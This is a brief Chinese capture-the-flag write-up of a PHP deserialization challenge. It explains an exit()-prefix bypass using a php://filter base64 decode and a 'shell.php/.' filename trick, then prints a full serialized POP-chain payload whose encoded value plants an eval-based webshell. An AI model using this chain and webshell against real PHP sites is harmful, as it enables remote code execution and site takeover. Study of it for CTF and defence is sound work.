很眼熟的一题,看着像一个 thinkphp 反序列化题。
$data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
这边明显就是一个死亡函数绕过,且参数都是可控的,只是需要一些处理,这里要注意几个点:
从下面这句可以看出,filename 的名字是拼凑的,除了 uniqid() 是不可控的其他都是可控的,可以用 ...uploads/ uniqid()/../shell.php/. 绕过,因为它过滤了.php 后缀,且 像 phtml,PHP.... 等等后缀是不允许访问的,所以我们可以用 shell.php/. 绕过,因为在做路径处理的时候,会递归删除掉路径中存在的 /.。(当然上传图片马,并上传user.ini 去解析它应该也是可以的)
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, strlen('.php')) === '.php')
而 $data,就是常说的死亡函数绕过了,因为 base64 是四个一组解析的所以可以利用这个去掉死亡函数,其他的就是反序列化链了。
A:: __destruct(autosave=0)
A::save
A::getForStorage
(返回的是set的value,也就是最后的data)
B::set(name为A::save 的 key)
(name的绕过已经说过,在serialize函数处只需构造成base64_decode($data)就行了)
payload:
最后访问 uploads/shell.php getflag 就行了。
class A {
protected $store;
protected $key;
protected $expire;
public $autosave;
public $cache;
public $complete;
public function __construct(){
$this->autosave = 0;
$this->cache = array();
$this->complete = 'YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKeklsMHBPejgr';
$this->key = '/../succ.php/.';
$this->store = new B();
}
}
class B {
public $options;
public function __construct(){
$this->options = array(
'serialize'=>'base64_decode',
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/");
}
}
echo urlencode(serialize(new A()));